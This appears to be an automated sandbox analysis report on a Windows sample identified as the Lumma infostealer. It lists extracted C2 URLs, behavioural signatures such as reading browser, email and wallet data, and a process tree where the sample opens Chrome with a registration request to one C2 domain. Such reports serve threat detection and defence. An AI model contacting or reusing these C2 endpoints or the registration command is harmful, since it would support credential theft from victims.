Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    01/06/2026, 17:10

General

  • Target
    tmpvm3nips6.exe
  • Size 2.0MB
  • Sample260601-vpr4vscy2r
  • SHA256 e8995500426515aadbbb9a493ce6034098d141349941582b72da0b38502f95af
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • lumma

C2
  • https://bactergy.cyou

  • https://decrnoj.club/xxx

  • https://pomflgf.vu/help

  • https://carytui.vu/caccc

  • https://mushxhb.best/info

  • https://genugsq.best/main

  • https://ulmudhw.shop/create

  • https://strikql.shop/owner

  • https://longmbx.click/manifest

Attributes
  • build_id

    fbf8dd0d6f4e72266e6ac0845d

Signatures

  • Family: Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\tmpvm3nips6.exe
    "C:\Users\Admin\AppData\Local\Temp\tmpvm3nips6.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3424
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" pomflgf.vu/api/set_agent?id=9DC8EBEABD24956701AEC7B30ADF174C&token=fbf8dd0d6f4e72266e6ac0845d&description=&agent=Chrome
      2⤵
      • Checks processor information in registry
      • Enumerates system info in registry
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:3228
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa972cc728,0x7ffa972cc734,0x7ffa972cc740
        3⤵
          PID:4332
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1680,i,15575233237058326347,2295798995883844362,262144 --field-trial-handle=2016,i,15101739331822253182,2104464673585480990,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2012 /prefetch:2
          3⤵
            PID:3480
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1576,i,17511332561096623762,15332513112797326334,524288 --field-trial-handle=2016,i,15101739331822253182,2104464673585480990,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2272 /prefetch:3
            3⤵
            • System Time Discovery
            PID:3936
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2388,i,12247808375890063757,5140684710066530241,524288 --field-trial-handle=2016,i,15101739331822253182,2104464673585480990,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2532 /prefetch:8
            3⤵
              PID:3432
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3136,i,3027624502652717638,16910676101712429248,2097152 --field-trial-handle=2016,i,15101739331822253182,2104464673585480990,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3156 /prefetch:1
              3⤵
                PID:4628
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3160,i,13097843293709628580,17577915159827824987,2097152 --field-trial-handle=2016,i,15101739331822253182,2104464673585480990,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3192 /prefetch:1
                3⤵
                  PID:740
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4184,i,98126401965499069,143303633259785698,2097152 --field-trial-handle=2016,i,15101739331822253182,2104464673585480990,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4252 /prefetch:2
                  3⤵
                    PID:1092
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5232,i,9574212406861740937,4099348002047757548,524288 --field-trial-handle=2016,i,15101739331822253182,2104464673585480990,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5240 /prefetch:8
                    3⤵
                      PID:1748
                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                  1⤵
                    PID:3544
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                    1⤵
                      PID:3600

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          BookmarkMergedSurfaceOrdering

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                          • Size 6B
                          • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                          • MD5 SHA1 SHA512

                          BrowsingTopicsState

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                          • Size 649B
                          • SHA256 d92effc92802bb4560b8f1cea9265c93854b310e22a794315565be2a1d99a5af
                          • MD5 SHA1 SHA512 TLSH

                          SCT Auditing Pending Reports

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                          • Size 2B
                          • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                          • MD5 SHA1 SHA512

                          TransportSecurity

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
                          • Size 523B
                          • SHA256 bfb52f89119ee303847d5ff38d059885a501470daf389de375fff7d89ecd0a8f
                          • MD5 SHA1 SHA512 TLSH

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                          • Size 138KB
                          • SHA256 b5b8352bdbc702594a6f112b2320167abae8ea2e90b7d891c699f51250e9f276
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          Last Version

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                          • Size 13B
                          • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                          • MD5 SHA1 SHA512

                          Local State

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                          • Size 115KB
                          • SHA256 45bb5e98f992b3f8d4eee7be62f9b50ec3a6c070d1688db6f999eeacfcda9ea3
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/3424-51-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-48-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-65-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-64-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-63-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-62-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-61-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-60-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-59-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-58-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-57-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-56-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-55-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-54-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-53-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-52-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-0-0x0000000021400000-0x000000002145F000-memory.dmp

                          memory/3424-50-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-49-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-66-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-47-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-46-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-45-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-44-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-43-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-67-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-68-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-1-0x0000000021400000-0x000000002145F000-memory.dmp

                          memory/3424-82-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-83-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-84-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-85-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-86-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-89-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-93-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-92-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-91-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-90-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-87-0x00000000233D0000-0x00000000233D1000-memory.dmp

                          memory/3424-88-0x00000000233D0000-0x00000000233D1000-memory.dmp